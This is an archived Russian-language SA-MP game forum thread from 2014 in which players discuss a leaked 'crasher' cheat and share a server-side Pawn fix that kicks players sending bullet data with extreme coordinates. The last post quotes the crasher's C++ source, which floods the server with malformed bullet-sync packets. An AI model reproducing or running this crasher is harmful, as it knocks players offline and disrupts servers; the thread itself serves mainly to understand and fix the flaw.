SA-MP Forums Archive
Новый крашер - Printable Version

+- SA-MP Forums Archive (https://sampforum.blast.hk)
+-- Forum: Non-English (https://sampforum.blast.hk/forumdisplay.php?fid=9)
+--- Forum: Languages (https://sampforum.blast.hk/forumdisplay.php?fid=33)
+---- Forum: Русский/Russian (https://sampforum.blast.hk/forumdisplay.php?fid=32)
+---- Thread: Новый крашер (/showthread.php?tid=535550)



Новый крашер - xStunt - 04.09.2014

Привет ребятки! сегодня слили новый крашер в паблик... на всех серверах уже крашат, и онлайн сильно сильно упал...

Что поэтому думаете?


Re: Новый крашер - Nixon13 - 04.09.2014

Что тут думать,херово,надо фиксить.
Принцип работы никто не разобрал ещё?


Re: Новый крашер - Silicium - 04.09.2014

Сурс в паблике вроде как. Иди и разбирай принцип работы.


Re: Новый крашер - xStunt - 04.09.2014

Quote:
Originally Posted by Nixon13
Посмотреть сообщение
Что тут думать,херово,надо фиксить.
Принцип работы никто не разобрал ещё?
KaZax уже выложил его версию фикса


Re: Новый крашер - Nixon13 - 04.09.2014

Quote:
Originally Posted by Fich
Посмотреть сообщение
KaZax уже выложил его версию фикса
Благодарю за инфу.


Re: Новый крашер - XemyL - 04.09.2014

PHP код:
public OnPlayerWeaponShot(playeridweaponidhittypehitidFloat:fXFloat:fYFloat:fZ)
{
    if(
hittype == BULLET_HIT_TYPE_PLAYER && (fabs(fX) > 10.0 || fabs(fY) > 10.0 || fabs(fZ) > 10.0)) return Kick(playerid);
    return 
1;
}
Float:fabs(Float:f) return (0) ? (-f) : (f); 



Re: Новый крашер - Stepashka - 04.09.2014

Quote:
Originally Posted by XemyL
Посмотреть сообщение
PHP код:
public OnPlayerWeaponShot(playeridweaponidhittypehitidFloat:fXFloat:fYFloat:fZ)
{
    if(
hittype == BULLET_HIT_TYPE_PLAYER && (fabs(fX) > 10.0 || fabs(fY) > 10.0 || fabs(fZ) > 10.0)) return Kick(playerid);
    return 
1;
}
Float:fabs(Float:f) return (0) ? (-f) : (f); 
Вы про функцию floatabs никогда не слышали


Re: Новый крашер - xStunt - 04.09.2014

Тема с фиксом от KaZax:

https://sampforum.blast.hk/showthread.php?tid=535543


Re: Новый крашер - XemyL - 04.09.2014

Quote:
Originally Posted by Stepashka
Посмотреть сообщение
Вы про функцию floatabs никогда не слышали
Да писал функцию для integer, написал заодно и для float, бывает


Re: Новый крашер - stabker - 04.09.2014

Quote:
Originally Posted by Silicium
Посмотреть сообщение
Сурс в паблике вроде как. Иди и разбирай принцип работы.
У вас есть ссылка? Если есть, поделитесь, пожалуйста.
upd: нашел.

Код:
void cheat_generic_bullet_crasher()
{
    if(cheat_state->_generic.bullet_crasher) //by urShadow for BlastHack.Net
    {
        static DWORD time;
        if(GetTickCount() - 40 > time)
        {
            BULLET_SYNC_DATA sBulletSync;
            memset(&sBulletSync, 0, sizeof(BULLET_SYNC_DATA));       
 
            sBulletSync.byteHitType = 1;
            sBulletSync.usHitID = g_Players->sLocalPlayerID;
            float fValue = (float)0x7777777B;
            sBulletSync.fCenterOfHit[0] = fValue;
            sBulletSync.fCenterOfHit[1] = fValue;
            sBulletSync.fCenterOfHit[2] = fValue;                   
 
            RakNet::BitStream bsBulletSync;
            bsBulletSync.Write((BYTE)ID_BULLET_SYNC);
            bsBulletSync.Write((PCHAR)&sBulletSync, sizeof(BULLET_SYNC_DATA));
            pSAMP->Send(&bsBulletSync);       
           
            time = GetTickCount();
        }
    }
}